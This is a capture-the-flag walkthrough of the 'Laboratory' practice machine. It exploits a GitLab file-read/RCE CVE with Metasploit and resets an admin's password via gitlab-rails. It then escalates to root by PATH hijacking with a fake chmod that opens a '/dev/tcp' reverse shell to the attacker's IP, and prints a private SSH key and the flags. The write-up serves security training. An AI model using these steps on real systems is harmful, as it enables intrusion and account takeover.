Laboratory

TL;DR

  • Find the git subdomain and create an account
  • Exploit Gitlab RCE & LFI (CVE-2020-10977) to get a shell
  • Reset password for Dexter’s Gitlab account with gitlab-rails
  • Retrieve Dexter’s private key on Gitlab
  • Abuse Path Variable with local script (docker-security) to get root

User.txt

Reconnaissance

Let’s start by a Nmap scan:

magnussen@funcMyLife:~/laboratory$ nmap -sS -sV -sC -p- -vvv --min-rate 5000 --reason -oN laboratory.txt 10.10.10.216
# Nmap 7.60 scan initiated Thu Nov 26 23:47:15 2020 as: nmap -sS -sV -sC -p- -vvv --min-rate 5000 --reason -oN laboratory.txt laboratory.htb
Nmap scan report for laboratory.htb (10.10.10.216)
Host is up, received echo-reply ttl 63 (0.19s latency).
Scanned at 2020-11-26 23:47:15 CET for 44s
Not shown: 65532 filtered ports
Reason: 65532 no-responses
PORT    STATE SERVICE REASON         VERSION
22/tcp  open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http    syn-ack ttl 63 Apache httpd 2.4.41
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open  ssl/ssl syn-ack ttl 63 Apache httpd (SSL-only mode)
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Issuer: commonName=laboratory.htb
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-07-05T10:39:28
| Not valid after:  2024-03-03T10:39:28
| MD5:   2873 91a5 5022 f323 4b95 df98 b61a eb6c
| SHA-1: 0875 3a7e eef6 8f50 0349 510d 9fbf abc3 c70a a1ca
| -----BEGIN CERTIFICATE-----
| MIIE4TCCAsmgAwIBAgIUWcpHILpGTrJgl2qd8bAUHpzVmnkwDQYJKoZIhvcNAQEL
| BQAwGTEXMBUGA1UEAwwObGFib3JhdG9yeS5odGIwHhcNMjAwNzA1MTAzOTI4WhcN
| MjQwMzAzMTAzOTI4WjAZMRcwFQYDVQQDDA5sYWJvcmF0b3J5Lmh0YjCCAiIwDQYJ
| KoZIhvcNAQEBBQADggIPADCCAgoCggIBAL48PMhB8KanqCnLpdhppNVYWJ/lLckS
| g+1VIhn1b1p6AjiuSj+HWC5i8dtaJaWypGCDFqrN3+wwy3R/G9J/40+BzRtUoX4E
| 4LImI7z5NIVAksBXKl4VxhB+vEJNljrLr3EZM1MmBTFL/2o628IAmKmo7mu+DjZ3
| +iauuRCMsTTmCjzpoBoWzcOO05+dedYCbc3P2gv6Ajc3XONajmEseX3xjHZOmMIf
| sN4Wr7s4o/cOhwswjtFxmiE3UKV2q2bHLXtyzy2ch3P7xZCAgtHCjFNmrDyxd5uR
| 5SVgIwh0K3BDaoD3mTt7AzIjvT8XJLV46DgeJxGNEQRxqBbKz9JfYoX+dOpK6cq1
| N3/FnEHRn/NDravqOGzFCfuRCBo3O58na+6Seod8qro9O9rbHMqLVt+3RK19Ys8B
| q4BBwEAthLBua5gwDIUgzPrVtGE1VvdAadvsPV5OKp3C/BT3SIDgecZoEAEwei1Y
| Gx/7uV4+LIQOv+VirsuFrUrZKYEsoWR3TVnN5QijjW6VxJc0CVpjNb0r1hKNLZdt
| LyhpqrPHevM/F8QmQ9L4bwlbtn2ZMVgs/jySYZy95QzZ0Pof8cCujEABJNsj8Chp
| s36Em00ihwnp64wVqQrGVqkRkminUmEezrAbqmIsMf7kEh+5JR49cBrIVpbzwwE9
| qBCYTk66LFw3AgMBAAGjITAfMB0GA1UdEQQWMBSCEmdpdC5sYWJvcmF0b3J5Lmh0
| YjANBgkqhkiG9w0BAQsFAAOCAgEAPyE779gsfBsAE9R2C3Sdh9IDkknSHA18Mj2M
| QMJDREjkdRVFCgsZ1cTo/qMOKGaBh+NkzgTTP4D0w//NADt3B72ihnjVY5cQlAWN
| XvhrXYnEFmvoHChDLpbDwk32PstkCoDWXXIzDLx3O0q4u0JojCQkpbKVGlaqMrLs
| wOTE/A0f68U+Z8CS5VUX+MSkG4wnsQrrywyGxif0RuuCh9AAuIvmcqy0uSBD70+c
| L0bfKKKbz1PEB8tCin69nMZmOFcIC9lbesjaynEvccoHzDp5lhHlUdC+UPHH+xCS
| WO1W0rqXvOxd4wdjH95FOrMkvwCbMMLQHYaHuDPS276FTiAPpWaPEB+FJFlfvUk5
| K8bHKu8DuHRFUn45ocM10bWPTv1HunXMTIwVYZlk8sELk2nEnQRU3V6PQaZcZ7ao
| Ss4CWb8n3gBUK9tFT7jKtY92tDHVgA4xOJPA+5iaywJv/SHiFZqlg4oUFnVXFqCr
| 9UVIxY0lD19kgFtKdZwskf/4hYoUMIc4HDR3smD2mSMA8LM4sGvAcfEQrfyuOTOl
| SX1p9J3bFm4KjweThqAHDazDYCuovigGq08M/OoFbyHQzpQknTZH5gXxo3dwUEnO
| 1n/rzqnLQaB+668enfCFrbZcuCKHXhRDGVraOLax54JZrnih0EN7Pd03J3yQv1xg
| sOJcO+0=
|_-----END CERTIFICATE-----
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov 26 23:47:59 2020 -- 1 IP address (1 host up) scanned in 44.07 seconds

So we find 2 useful services:

  • SSH (22)
  • Apache (80, 443)

The website is a company website, it presents the solution sold by the company.

Website

There’s not much to find on it. But on the nmap scan we saw another port used by Apache (443) and in the certificate we found an interesting thing: Subject Alternative Name: DNS:git.laboratory.htb.

Let’s add it to our /etc/hosts and check it!

magnussen@funcMyLife:~/laboratory$ cat /etc/hosts
10.10.10.216	laboratory.htb
10.10.10.216	git.laboratory.htb

Gitlab

It’s a Gitlab instance, maybe we can do something with that.

Gitlab RCE & LFI (CVE-2020-10977)

First of all, let’s start by creating an account on this instance of Gitlab.

Register

There’s no project accessible to our new created user.

Project

Let’s find out the version of Gitlab to check for CVE.

You can find the version of a running instance of Gitlab, by checking the help page (https://git.laboratory.htb/help).

Help

Ok, so the version of this Gitlab instance is GitLab Community Edition 12.8.1. If we google for CVE, we quickly find this vulnerability.

This version of Gitlab is vulnerable to an LFI that allows an authenticated user to get access to the Rails secret_key_base and then uses a deserialization vulnerability to gain a remote code execution.

There’s a metasploit module for this vulnerability, let’s try it out!

magnussen@funcMyLife:~/laboratory$ msfconsole
______________________________________________________________________________
|                                                                              |
|                          3Kom SuperHack II Logon                             |
|______________________________________________________________________________|
|                                                                              |
|                                                                              |
|                                                                              |
|                 User Name:          [   security    ]                        |
|                                                                              |
|                 Password:           [               ]                        |
|                                                                              |
|                                                                              |
|                                                                              |
|                                   [ OK ]                                     |
|______________________________________________________________________________|
|                                                                              |
|                                                       https://metasploit.com |
|______________________________________________________________________________|


      =[ metasploit v6.0.38-dev-                         ]
+ -- --=[ 2115 exploits - 1138 auxiliary - 358 post       ]
+ -- --=[ 596 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 8 evasion                                       ]

Metasploit tip: Metasploit can be configured at startup, see
msfconsole --help to learn more

msf6 > use exploit/multi/http/gitlab_file_read_rce
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(multi/http/gitlab_file_read_rce) > set RHOSTS 10.10.10.216
RHOSTS => 10.10.10.216
msf6 exploit(multi/http/gitlab_file_read_rce) > set RPORT 443
RPORT => 443
msf6 exploit(multi/http/gitlab_file_read_rce) > set VHOST git.laboratory.htb
VHOST => git.laboratory.htb
msf6 exploit(multi/http/gitlab_file_read_rce) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 exploit(multi/http/gitlab_file_read_rce) > set USERNAME Magnussen
USERNAME => Magnussen
msf6 exploit(multi/http/gitlab_file_read_rce) > set PASSWORD Magnussen
PASSWORD => Magnussen
msf6 exploit(multi/http/gitlab_file_read_rce) > set LHOST 10.10.14.53
LHOST => 10.10.14.53
msf6 exploit(multi/http/gitlab_file_read_rce) > set LPORT 7777
LPORT => 7777
msf6 exploit(multi/http/gitlab_file_read_rce) > show options

Module options (exploit/multi/http/gitlab_file_read_rce):

   Name             Current Setting                                          Required  Description
   ----             ---------------                                          --------  -----------
   DEPTH            15                                                       yes       Define the max traversal depth
   PASSWORD         Magnussen                                                no        The password for the specified username
   Proxies                                                                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS           10.10.10.216                                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT            443                                                      yes       The target port (TCP)
   SECRETS_PATH     /opt/gitlab/embedded/service/gitlab-rails/config/secret  yes       The path to the secrets.yml file
                    s.yml
   SECRET_KEY_BASE                                                           no        The known secret_key_base from the secrets.yml - this skips the arbitrary file read if present
   SSL              true                                                     no        Negotiate SSL/TLS for outgoing connections
   TARGETURI        /users/sign_in                                           yes       The path to the vulnerable application
   USERNAME         Magnussen                                                no        The username to authenticate as
   VHOST            git.laboratory.htb                                       no        HTTP server virtual host


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.53      yes       The listen address (an interface may be specified)
   LPORT  7777             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic
msf6 exploit(multi/http/gitlab_file_read_rce) > run

[*] Started reverse TCP handler on 10.10.14.53:7777
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version.
[*] Logged in to user Magnussen
[*] Created project /Magnussen/7FtmOEyT
[*] Created project /Magnussen/mQaatdj1
[*] Created issue /Magnussen/7FtmOEyT/issues/1
[*] Executing arbitrary file load
[+] File saved as: '/home/magnussen/.msf4/loot/20210404135725_default_10.10.10.216_gitlab.secrets_175731.txt'
[+] Extracted secret_key_base 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
[*] NOTE: Setting the SECRET_KEY_BASE option with the above value will skip this arbitrary file read
[*] Attempting to delete project /Magnussen/7FtmOEyT
[*] Deleted project /Magnussen/7FtmOEyT
[*] Attempting to delete project /Magnussen/mQaatdj1
[*] Deleted project /Magnussen/mQaatdj1
[*] Command shell session 2 opened (10.10.14.53:7777 -> 10.10.10.216:38758) at 2021-04-04 13:57:26 +0200
id
uid=998(git) gid=998(git) groups=998(git)

Yeah! It worked! We have a shell! Let’s go get that user!

Password reset

Ok, let’s see what we have to deal with:

python3 -c 'import pty; pty.spawn("/bin/bash")'
git@git:~/gitlab-rails/working$ id
uid=998(git) gid=998(git) groups=998(git)
git@git:~/gitlab-rails/working$ ls -alh /home
total 8.0K
drwxr-xr-x 2 root root 4.0K Apr 12  2016 .
drwxr-xr-x 1 root root 4.0K Jul  2  2020 ..
git@git:~/gitlab-rails/working$ ls -alh /
total 88K
drwxr-xr-x   1 root root 4.0K Jul  2  2020 .
drwxr-xr-x   1 root root 4.0K Jul  2  2020 ..
-rwxr-xr-x   1 root root    0 Jul  2  2020 .dockerenv
-rw-r--r--   1 root root  157 Feb 24  2020 RELEASE
drwxr-xr-x   2 root root 4.0K Feb 24  2020 assets
drwxr-xr-x   1 root root 4.0K Feb 24  2020 bin
drwxr-xr-x   2 root root 4.0K Apr 12  2016 boot
drwxr-xr-x   5 root root  340 Apr  3 23:12 dev
drwxr-xr-x   1 root root 4.0K Jul  2  2020 etc
drwxr-xr-x   2 root root 4.0K Apr 12  2016 home
drwxr-xr-x   1 root root 4.0K Sep 13  2015 lib
drwxr-xr-x   2 root root 4.0K Feb 12  2020 lib64
drwxr-xr-x   2 root root 4.0K Feb 12  2020 media
drwxr-xr-x   2 root root 4.0K Feb 12  2020 mnt
drwxr-xr-x   1 root root 4.0K Feb 24  2020 opt
dr-xr-xr-x 361 root root    0 Apr  3 23:12 proc
drwx------   1 root root 4.0K Jul 17  2020 root
drwxr-xr-x   1 root root 4.0K Apr  3 23:12 run
drwxr-xr-x   1 root root 4.0K Feb 21  2020 sbin
drwxr-xr-x   2 root root 4.0K Feb 12  2020 srv
dr-xr-xr-x  13 root root    0 Apr  3 23:12 sys
drwxrwxrwt   1 root root 4.0K Apr  3 23:12 tmp
drwxr-xr-x   1 root root 4.0K Feb 12  2020 usr
drwxr-xr-x   1 root root 4.0K Feb 12  2020 var

Mmmh, the .dockerenv might mean that we’re in a docker container, let’s check the init process to verify that.

git@git:~/gitlab-rails/working$ cat /proc/1/cgroup
12:hugetlb:/docker/dd53b3f8e0735e533f500cd27f90c0e288d2fc881eda70342e59a3486d46a89c
11:freezer:/docker/dd53b3f8e0735e533f500cd27f90c0e288d2fc881eda70342e59a3486d46a89c
10:devices:/docker/dd53b3f8e0735e533f500cd27f90c0e288d2fc881eda70342e59a3486d46a89c
9:perf_event:/docker/dd53b3f8e0735e533f500cd27f90c0e288d2fc881eda70342e59a3486d46a89c
8:pids:/docker/dd53b3f8e0735e533f500cd27f90c0e288d2fc881eda70342e59a3486d46a89c
7:cpuset:/docker/dd53b3f8e0735e533f500cd27f90c0e288d2fc881eda70342e59a3486d46a89c
6:memory:/docker/dd53b3f8e0735e533f500cd27f90c0e288d2fc881eda70342e59a3486d46a89c
5:cpu,cpuacct:/docker/dd53b3f8e0735e533f500cd27f90c0e288d2fc881eda70342e59a3486d46a89c
4:blkio:/docker/dd53b3f8e0735e533f500cd27f90c0e288d2fc881eda70342e59a3486d46a89c
3:rdma:/
2:net_cls,net_prio:/docker/dd53b3f8e0735e533f500cd27f90c0e288d2fc881eda70342e59a3486d46a89c
1:name=systemd:/docker/dd53b3f8e0735e533f500cd27f90c0e288d2fc881eda70342e59a3486d46a89c
0::/system.slice/containerd.service

/proc/1 is the init proccess, by checking the cgroup related to the init process we can determine how it has been started, if we’re on a host environment, the anchor point will be /, but in a docker environment it will be /docker/<containerid>.

Ok, so we’re in a docker environment…

I was stuck for a long time on this step, I was sure that we had to find a way to escape the docker environment. And as I couldn’t find any way/exploit to do so, I’ve started learning a little bit more on gitlab-rails as I didn’t know what it was/how it works.

Gitlab-rails provides a way to interact with a GitLab instance from the command line. It’s designed for system administrators and allows them to retrieve some data that can only be done through direct access of the GitLab application.

We can use it to reset the password of a user as it’s detailled here.

gitlab-rails console
--------------------------------------------------------------------------------
GitLab:       12.8.1 (d18b43a5f5a) FOSS
GitLab Shell: 11.0.0
PostgreSQL:   10.12
--------------------------------------------------------------------------------
user = User.find(1)
#<User id:1 @dexter>
user.password = 'Magnussen'
"Magnussen"
user.password_confirmation = 'Magnussen'
"Magnussen"
user.save!
Enqueued ActionMailer::DeliveryJob (Job ID: 846c7647-2e55-4ddf-afb9-dc64cdbb5063) to Sidekiq(mailers) with arguments: "DeviseMailer", "password_change", "deliver_now", #<GlobalID:0x00007f419d743bd8 @uri=#<URI::GID gid://gitlab/User/1>>
true

So we’ve reset Dexter’s password, let’s try to log in with the new password.

Dexter Gitlab

Yeah!!! We’re log on Gitlab with Dexter’s account!

Dexter SSH private key

By browsing through Dexter’s project, we find one that is quite interesting: “SecureDocker”.

SecureDocker Gitlab Project

He has stored some personal information on this project, and if we dive into it, we quickly find its SSH private key (https://git.laboratory.htb/dexter/securedocker/-/blob/master/dexter/.ssh/id_rsa).

Dexter private key

Let’s retrieve it and log in to the server with it!

magnussen@funcMyLife:~/laboratory$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
magnussen@funcMyLife:~/laboratory$ ssh -i id_rsa dexter@laboratory.htb
dexter@laboratory:~$ ll
total 40
drwxr-xr-x 6 dexter dexter 4096 Oct 22 08:42 ./
drwxr-xr-x 3 root   root   4096 Jun 26  2020 ../
lrwxrwxrwx 1 root   root      9 Jul 17  2020 .bash_history -> /dev/null
-rw-r--r-- 1 dexter dexter  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 dexter dexter 3771 Feb 25  2020 .bashrc
drwx------ 2 dexter dexter 4096 Jun 26  2020 .cache/
drwx------ 2 dexter dexter 4096 Oct 22 08:14 .gnupg/
drwxrwxr-x 3 dexter dexter 4096 Jun 26  2020 .local/
-rw-r--r-- 1 dexter dexter  807 Feb 25  2020 .profile
drwx------ 2 dexter dexter 4096 Jun 26  2020 .ssh/
-r--r----- 1 root   dexter   33 Apr  3 23:12 user.txt
dexter@laboratory:~$ cat user.txt
8b2dd28b11b5ca5df4820f253d311cb4

We finally own that user!!!

I AM ROOT

Privilege Escalation Using PATH Variable

First of all, let’s start by downloading LinEnum.sh to see what we can do.

magnussen@funcMyLife:~/laboratory$ ls -alh
drwxrwxr-x  2 magnussen magnussen 4,0K avril  4 14:40 .
drwxrwxr-x 37 magnussen magnussen 4,0K févr. 26 19:32 ..
-r--------  1 magnussen magnussen 2,6K avril  4 14:40 id_rsa
-rw-r--r--  1 magnussen magnussen 2,6K avril  4 14:43 LinEnum.sh
-rw-r--r--  1 magnussen magnussen 3,4K nov.  26 23:47 laboratory.txt
magnussen@funcMyLife:~/laboratory$ python3 -m http.server 8000
dexter@laboratory:/tmp$ wget http://10.10.14.53:8000/LinEnum.sh
--2021-04-04 12:59:12--  http://10.10.14.53:8000/LinEnum.sh
Connecting to 10.10.14.53:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [text/x-sh]
Saving to: ‘LinEnum.sh.1’

LinEnum.sh.1           100%[===========================>]  45.54K  --.-KB/s    in 0.06s   

2021-04-04 12:59:12 (799 KB/s) - ‘LinEnum.sh.1’ saved [46631/46631]

dexter@laboratory:/tmp$ chmod +x LinEnum.sh
dexter@laboratory:/tmp$ ./LinEnum.sh

[...]

[+] Possibly interesting SUID files:
-rwsr-xr-x 1 root dexter 16720 Aug 28  2020 /usr/local/bin/docker-security

[...]

I’ve truncated the output for readability.

We might have something to work with to get root. There’s a file called docker-security and even if the path/name seems legit, it doesn’t seem to be an official binary. Let’s check it out!

dexter@laboratory:/tmp$ /usr/local/bin/docker-security

No output when we launch it… Let’s download it and see what’s inside.

dexter@laboratory:/tmp$ cp /usr/local/bin/docker-security .
dexter@laboratory:/tmp$ logout
Connection to laboratory.htb closed.
magnussen@funcMyLife:~/laboratory$ scp -i id_rsa dexter@laboratory.htb:/tmp/docker-security .
docker-security                                          100%   16KB 290.0KB/s   00:00
magnussen@funcMyLife:~/laboratory$ radare2 docker-security
[0x00001070]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[0x00001070]> s main
[0x00001155]> pdf
            ;-- main:
/ (fcn) sym.main 51
|   sym.main ();
|              ; DATA XREF from 0x0000108d (entry0)
|           0x00001155      55             push rbp
|           0x00001156      4889e5         mov rbp, rsp
|           0x00001159      bf00000000     mov edi, 0
|           0x0000115e      e8edfeffff     call sym.imp.setuid
|           0x00001163      bf00000000     mov edi, 0
|           0x00001168      e8d3feffff     call sym.imp.setgid
|           0x0000116d      488d3d940e00.  lea rdi, qword str.chmod_700__usr_bin_docker ; 0x2008 ; "chmod 700 /usr/bin/docker"
|           0x00001174      e8b7feffff     call sym.imp.system         ; int system(const char *string)
|           0x00001179      488d3da80e00.  lea rdi, qword str.chmod_660__var_run_docker.sock ; 0x2028 ; "chmod 660 /var/run/docker.sock"
|           0x00001180      e8abfeffff     call sym.imp.system         ; int system(const char *string)
|           0x00001185      90             nop
|           0x00001186      5d             pop rbp
\           0x00001187      c3             ret

Ok, so the binary simply modifies the permissions of /usr/bin/docker and /var/run/docker.sock, to do so it uses chmod but as it doesn’t use the absolute path, we might abuse that to get root. We simply have to create a reverse shell under the name chmod and run it!

dexter@laboratory:/tmp$ vim chmod
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.53/7777 0>&1
dexter@laboratory:/tmp$ chmod +x chmod
dexter@laboratory:/tmp$ PATH=".:$PATH"
dexter@laboratory:/tmp$ /usr/local/bin/docker-security
magnussen@funcMyLife:~/laboratory$ nc -nlvp 7777
Listening on [0.0.0.0] (family 0, port 7777)
Connection from 10.10.10.216 33240 received!
root@laboratory:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1000(dexter)
root@laboratory:~# cd /root
root@laboratory:/root# cat root.txt
cca617fb303fba2049d7d1d8bda8c376

Yeah! We’re finally root!

This was truly a great box, I’ve struggled a lot on the docker part but learn so much about gitlab and containers, all the steps were really realistic. I’ve especially loved the privesc for that, even if it was a classic privilege escalation technique, I didn’t find it “CTF-like” but quite realist. Thanks a lot 0xc45 for the box!